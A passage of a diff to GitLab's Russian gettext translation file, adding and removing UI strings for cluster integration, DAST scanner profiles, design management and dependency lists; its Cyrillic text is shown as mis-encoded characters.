-msgstr "Как вариант"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -5313,6 +5442,9 @@ msgstr "Произошла ошибка при попытке получениÑ
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr "Произошла ошибка при попытке извлечь типы машин облаÑти: %{error}"
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr "Любые запущенные Ñборочные линии будут отменены."
@@ -5352,15 +5484,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Выберите, какие Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ уÑтановить на ваш клаÑтер Kubernetes. Ð”Ð»Ñ ÑƒÑтановки любого из Ñледующих приложений требуетÑÑ Helm Tiller.\n\n"
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Выберите, какие из ваших окружений будут иÑпользовать Ñтот клаÑтер."
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr "ОчиÑтить кÑш клаÑтера"
@@ -5385,6 +5514,9 @@ msgstr "КлаÑтеры иÑпользуютÑÑ Ð¿ÑƒÑ‚Ñ‘Ð¼ выбора бли
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "Скопировать Ð°Ð´Ñ€ÐµÑ API"
@@ -5568,9 +5700,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Приложение Helm упрощает уÑтановку и управление приложениÑми Kubernetes. Приложение Tiller запуÑкаетÑÑ Ð²Ð½ÑƒÑ‚Ñ€Ð¸ вашего клаÑтера Kubernetes и управлÑет релизами ваших реÑурÑов."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "ЕÑли вы наÑтраиваете неÑколько клаÑтеров и вы иÑпользуете Auto DevOps, %{help_link_start}прочтите Ñто%{help_link_end}."
@@ -5766,8 +5895,8 @@ msgstr "КоличеÑтво узлов"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr "КоличеÑтво узлов должно быть чиÑлом."
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "ПожалуйÑта, укажите параметры доÑтупа к вашему клаÑтеру Kubernetes. ЕÑли вам необходима помощь, вы можете ознакомитьÑÑ Ñ Ð½Ð°ÑˆÐµÐ¹ Ñтраницей %{link_to_help_page} по Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "ПожалуйÑта, убедитеÑÑŒ, что ваш аккаунт Google отвечает Ñледующим требованиÑм:"
@@ -5985,12 +6114,15 @@ msgstr "Что-то пошло не так при удалении %{title}"
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr "Что-то пошло не так при обновлении доменного имени Knative."
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
-msgstr "Определение домена позволит вам иÑпользовать Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¾Ð±Ð·Ð¾Ñ€Ð° и Ñтапы автоматичеÑкого Ñ€Ð°Ð·Ð²Ð¾Ñ€Ð°Ñ‡Ð¸Ð²Ð°Ð½Ð¸Ñ Ñ %{auto_devops_start}Auto DevOps%{auto_devops_end}. Этот домен должен иметь наÑтроенный ÑоответÑтвующим Ð´Ð»Ñ Ð´Ð¾Ð¼ÐµÐ½Ð° образом шаблон DNS."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
+msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr "ПодÑети"
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -6030,15 +6162,27 @@ msgstr " У Ñтой учетной запиÑи должны быть разрÐ
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr "Эта Ð¾Ð¿Ñ†Ð¸Ñ Ð¿Ð¾Ð·Ð²Ð¾Ð»Ð¸Ñ‚ вам уÑтанавливать Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð½Ð° клаÑтеры RBAC."
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr "Ð”Ð»Ñ Ð´Ð¾Ñтупа к вашему приложению поÑле Ñ€Ð°Ð·Ð²Ð¾Ñ€Ð°Ñ‡Ð¸Ð²Ð°Ð½Ð¸Ñ Ð²Ñ‹Ð±ÐµÑ€Ð¸Ñ‚Ðµ шаблон DNS Ð´Ð»Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ðº узлу Knative."
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr "Удалить %{appTitle}"
@@ -6063,6 +6207,9 @@ msgstr "Проверка ÑтатуÑа тарификации проекта"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr "Мы не Ñмогли подтвердить, что один из ваших проектов на GCP имеет включенный биллинг. ПожалуйÑта, попробуйте ещё раз."
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "ЕÑли привÑзать клаÑтер Kubernetes к Ñтому проекту, вы Ñ Ð»Ñ‘Ð³ÐºÐ¾Ñтью Ñможете иÑпользовать Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ñ€ÐµÐ²ÑŒÑŽ, развертывать ваши приложениÑ, запуÑкать Ñборочные линии и многое другое."
@@ -6078,9 +6225,6 @@ msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ удалить %{appTitle} из вашего
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr "Перед уÑтановкой приложений ниже вы должны уÑтановить Helm Tiller"
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6111,8 +6255,8 @@ msgstr "Зона"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "доÑтуп к Google Kubernetes Engine"
-msgid "ClusterIntegration|documentation"
-msgstr "документациÑ"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6288,6 +6432,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr "Комментарий/Ответ (цитирование выделенного текÑта)"
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Комментарии"
@@ -6490,8 +6640,8 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
-msgstr "Сконфигурируйте файл <code>.gitlab-webide.yml</code> в каталоге <code>.gitlab</code> чтобы начать иÑпользовать веб-терминал. %{helpStart}Узнайте больше.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
msgstr "ÐаÑтройка автоматичеÑких проверок git и очиÑтки репозиториев."
@@ -6949,9 +7099,6 @@ msgstr "Скопированы метки и Ñтап из %{source_issuable_ref
msgid "Copy"
msgstr "Копировать"
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -7036,6 +7183,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr "Копировать токен"
@@ -7048,6 +7198,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr "Ðе удалоÑÑŒ авторизовать никнейм чата. Попробуйте еще раз!"
@@ -7072,15 +7225,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr "Ðе удалоÑÑŒ Ñоздать репозиторий"
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr "Ðе удалоÑÑŒ удалить никнейм чата %{chat_name}."
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7111,6 +7270,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr "Ðе удалоÑÑŒ Ñохранить ручную конфигурацию prometheus"
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr "Ðе удалоÑÑŒ обновить наÑтройки LDAP"
@@ -7126,6 +7288,13 @@ msgstr "Покрытие"
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Create"
msgstr "Создать"
@@ -7216,6 +7385,9 @@ msgstr "Создать цель"
msgid "Create file"
msgstr "Создать файл"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "Создать группу"
@@ -7252,6 +7424,9 @@ msgstr "Создать новую доÑку"
msgid "Create new branch"
msgstr "Создать новую ветку"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "Создать новый каталог"
@@ -7276,6 +7451,9 @@ msgstr "Создать проект"
msgid "Create project label"
msgstr "Создать метку проекта"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr "Создать требование"
@@ -7447,6 +7625,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr "ПользовательÑкое Ð¸Ð¼Ñ Ñ…Ð¾Ñта (Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² приватных Ñлектронных адреÑах почты при коммите)"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð½Ð°Ñтраиваемых уведомлений"
@@ -7543,6 +7724,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7709,6 +7899,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -7739,25 +7932,55 @@ msgstr "%{firstProject}, %{rest}, и %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7766,7 +7989,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7778,6 +8010,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7787,12 +8022,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr "Данные вÑе еще вычиÑлÑÑŽÑ‚ÑÑ..."
@@ -7865,7 +8157,7 @@ msgstr "Ветвь по умолчанию и защищенные ветки"
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7943,12 +8235,12 @@ msgstr "Удалить"
msgid "Delete Comment"
msgstr "Удалить комментарий"
-msgid "Delete Package"
-msgstr "Удалить пакет"
-
msgid "Delete Snippet"
msgstr "Удалить Ñниппет"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr "Удалить артефакты"
@@ -8003,6 +8295,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8024,15 +8319,24 @@ msgstr "Ошибка при воÑÑтановлении wiki репозитор
msgid "Deleted"
msgstr "Удалено"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr "Удалённый никнейм чата: %{chat_name}!"
-msgid "Deleted in this version"
-msgstr "Удалено в Ñтой верÑии"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
+msgstr ""
msgid "Deleting"
msgstr "Идет удаление"
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -8042,6 +8346,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -8070,6 +8377,13 @@ msgstr[1] "%d дополнительных уÑзвимоÑти не показÐ
msgstr[2] "%d дополнительных уÑзвимоÑтей не показано"
msgstr[3] "%d дополнительных уÑзвимоÑтей не показано"
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -8080,6 +8394,9 @@ msgstr[3] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr "ещё %{remainingLicensesCount}"
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr "Ð’Ñе"
@@ -8092,6 +8409,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8110,6 +8430,9 @@ msgstr "Упаковщик"
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr "Произошел Ñбой Ð·Ð°Ð´Ð°Ð½Ð¸Ñ %{codeStartTag}dependency_scanning%{codeEndTag} и не получилоÑÑŒ Ñгенерировать ÑпиÑок. ПожалуйÑта, убедитеÑÑŒ, что задание работает правильно и Ñнова запуÑтите Ñборку."
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8150,12 +8473,12 @@ msgstr[1] "Ð’ завиÑимоÑти от того были ли удовлетÐ
msgstr[2] "Ð’ завиÑимоÑти от того было ли удовлетворено %d запроÑов на ÑлиÑние"
msgstr[3] "Ð’ завиÑимоÑти от того было ли удовлетворено %d запроÑов на ÑлиÑние"
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
-msgstr[0] "Ð’ завиÑимоÑти от <strong>%d закрытого</strong> запроÑа на ÑлиÑние."
-msgstr[1] "Ð’ завиÑимоÑти от <strong>%d закрытых</strong> запроÑов на ÑлиÑние."
-msgstr[2] "Ð’ завиÑимоÑти от <strong>%d закрытых</strong> запроÑов на ÑлиÑние."
-msgstr[3] "Ð’ завиÑимоÑти от <strong>%d закрытых</strong> запроÑов на ÑлиÑние."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "Deploy"
msgid_plural "Deploys"
@@ -8200,7 +8523,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8434,15 +8757,24 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "Добавление Ñтруктуры Ñ Ñ‚ÐµÐ¼ же именем файла заменÑет файл в новой верÑии."
+msgid "DesignManagement|Archive designs"
+msgstr ""
+
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
msgstr ""
msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr "Ð’Ñ‹ дейÑтвительно хотите отменить Ñоздание Ñтого комментариÑ?"
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
-msgstr "Вы уверены, что хотите удалить выбранные дизайны?"
-
msgid "DesignManagement|Cancel changes"
msgstr ""
@@ -8473,15 +8805,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr "Удалить"
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr "Удалить выбранные"
-
msgid "DesignManagement|Deselect all"
msgstr "Отменить вÑе"
@@ -8563,7 +8886,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8572,6 +8898,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr "Разница между начальной датой и нынешней"
@@ -8584,7 +8913,10 @@ msgstr "(базовый)"
msgid "Diffs|No file name available"
msgstr "Ð˜Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð° недоÑтупно"
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8689,9 +9021,6 @@ msgstr "ОбÑудить конкретное предложение или во
msgid "Discuss a specific suggestion or question."
msgstr "ОбÑудить конкретное предложение или вопроÑ."
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8708,7 +9037,7 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8960,9 +9289,6 @@ msgstr "Редактировать доÑку"
msgid "Edit comment"
msgstr "Редактировать комментарий"
-msgid "Edit dashboard"
-msgstr "Редактировать панель управлениÑ"
-
msgid "Edit description"
msgstr "Изменить опиÑание"
@@ -9251,9 +9577,6 @@ msgstr "Включить двухфакторную аутентификацию
msgid "Enable usage ping"
msgstr "Включить Ñбор ÑтатиÑтики иÑпользованиÑ"
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr "Включить/отключить Ñлужбу поддержки. %{link_start}Узнайте больше о Ñлужбе поддержки%{link_end}."
@@ -9422,6 +9745,9 @@ msgstr "Окружение позволÑет отÑлеживать развеÑ
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr "Добавить проект на панель управлениÑ"
@@ -9446,7 +9772,7 @@ msgstr "Удалить"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "Панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñредами предоÑтавлÑет Ñводку ÑоÑтоÑÐ½Ð¸Ñ Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ð¹ каждого проекта, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ ÑтатуÑÑ‹ Ñборочной линии и оповещений."
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9725,6 +10051,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -10052,7 +10381,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10073,6 +10402,9 @@ msgstr "ИÑÐºÐ»ÑŽÑ‡Ð°Ñ ÐºÐ¾Ð¼Ð¼Ð¸Ñ‚Ñ‹-ÑлиÑниÑ. Ограничено дÐ
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr "ИÑÐºÐ»ÑŽÑ‡Ð°Ñ ÐºÐ¾Ð¼Ð¼Ð¸Ñ‚Ñ‹-ÑлиÑниÑ. Ограничено до 6000 коммитов."
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -10082,9 +10414,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -10097,9 +10426,6 @@ msgstr "Развернуть вÑе"
msgid "Expand approvers"
msgstr "Развернуть утверждающих"
-msgid "Expand down"
-msgstr "Развернуть вниз"
-
msgid "Expand dropdown"
msgstr "Развернуть раÑкрывающийÑÑ ÑпиÑок"
@@ -10109,9 +10435,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr "Развернуть боковую панель"
-msgid "Expand up"
-msgstr "Развернуть вверх"
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10124,9 +10447,6 @@ msgstr ""
msgid "Expiration date"
msgstr "Срок дейÑтвиÑ"
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10560,12 +10880,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
